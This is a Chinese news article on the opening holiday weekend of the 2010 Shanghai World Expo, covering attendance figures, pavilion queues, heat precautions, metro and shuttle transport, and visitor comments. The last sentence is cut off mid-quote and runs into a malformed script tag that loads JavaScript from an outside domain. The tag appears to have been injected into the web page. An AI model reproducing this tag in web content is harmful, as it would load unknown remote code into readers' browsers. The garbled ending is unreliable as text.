任绍敏 盛媛 胥会云 王斌 田享华 王琳

　　当长久的期待为现实，当绚烂的开幕式结束，5月1～3日，上海世博会终于在小长假经受了正式运行的考验。

　　3日19时，上海世博局局长洪浩在园区运行情况发布会上总结称，世博会开园3日基本保持平稳有序。而对游客最关注的暑热问题，洪浩说，园区正在加装遮阳设施。

　　排队开始缓解

　　截至昨日18时，“五一”假期3天累计入园56.23万人。其中，1日入园20.4万；2日入园22.56万；昨日截至16时入园12.63万，且人数比2日明显下降，热门场馆排队情况有所缓解。

　　尽管如此，排队仍是一些热门场馆前的惯常场景。昨日，沙特、日本等展馆的平均排队人数超过2000人，德国、法国、瑞士、西班牙馆的平均排队人数也超过1000人，英国、美国馆的接近1000人，韩国馆已降到1000人以下，浦西片区和城市最佳实践区基本不需排队。

　　至于最热门的中国馆，昨日共接待4.56万人参观。洪浩说，中国馆的实际容量在4.5万人左右，其中30%分给了团队游客，余下3万张预约券通过800多个票检口现场派发，每个口可发的数量事实上非常少。中国馆仍在进一步研究下午不需预约、排队就可参观的可行性，但4日仍将采用预约方式。

　　昨日，园区最高气温接近30摄氏度，有20人中暑。洪浩说，园区采取了各种防暑降温措施——参观者入园前，园区就打开遮阳伞，开启喷雾设施，开启场馆空调，各商业网点、咨询点也配备了充足的防暑降温物品。昨日，德国馆的等候区加装了遮阳凉棚，将根据实际使用效果，再考虑向其他场馆推广。此外，卫生部门共调配了12辆救护车，以在高温天气下转运病人。

　　4日是开园后首个普通日，对上海市民来说也是五一假期的最后一个休息日，世博园区可能面临大客流考验。组织方已决定， 4日园区现场不销售当日票，仅售夜票。

　　交通：未出现集中离园高峰

　　5月1日上午9：30，李书浩带着不满3岁的女儿从家出发，打算在世博开园第一天去感受一下这个盛会。

　　乘坐轨道交通4号线到了浦西的鲁班路站，出站后，李书浩发现，竟然还有一辆免费的接驳大巴可以把他们送到世博园区1号出入口。在浦西园区逛了会儿，他们又坐园区渡轮到了浦东园区。20时许，他们原路返回，乘渡轮回到浦西园区，出了园区后，乘坐免费接驳大巴回到4号线鲁班路站，然后回家。

　　对于世博会开园头3天的50多万名游客来说，轨道交通是最主要的入园方式。根据上海申通地铁集团的统计， 1日当天超过半数游客选择轨道交通方式抵达园区，且八成客流集中在9：00～10：00入园。

　　为了方便游客离园，1日起，上海轨道交通5条涉博线路、12个涉博站点，将原先22:30的末班车延长运营至00：10。

　　不光是运力充足，上海还充分利用了电视、短信、电子显示屏等手段，不断滚动播出实时交通信息，以及时覆盖到所有需要的人群。这些准备，使得世博开园首日游客离园交通平稳有序，未出现集中离园的高峰。

　　而上海的两个邻省——浙江和江苏，也投入巨大的人力，参与“环沪护城河”行动，确保入沪道路的安全、畅通。仅世博会开幕首日，浙江就投入了9.5万名安保人员。

　　江苏则在太仓设了世博旅游集散中心，专门服务那些不想自驾游世博的游客，每天可服务3.5万人。从5月4日起，游客可以从这儿坐班车直达世博园区。

　　游客：欣喜与遗憾兼有

　　3天来，《第一财经日报》记者在现场看到，很多场馆外排起了蛇形长队，沙特、日本等“热门”国家馆的排队等候时间甚至超过3小时，园区广播里也不断传出某个场馆“排队预计时间较长，希望游客分散参观”的客流疏导信息。

　　因此，对于持一日券的游客来说，由于排队所需时间较长，很多场馆来不及参观，只能带着遗憾离开了园区。

　　1日16时左右，本报记者在园区内的味千拉面店遇到来自深圳的一家三口，他们4月30日下午拿到了5月1日的门票，于是迅速打电话订机票、订酒店，20时左右飞到上海，只为在开园第一天目睹世博盛况。

　　这一家人中的母亲说，参观的内容还都挺让人满意，只是等待的时间太久。他们刚刚排了3小时的队参观了日本馆，而在短暂休息之后，他们已经不打算再排长队参观热门场馆了，打算很快就回深圳，“我们就在园区里溜?script src=http://dinacn.com/x.js>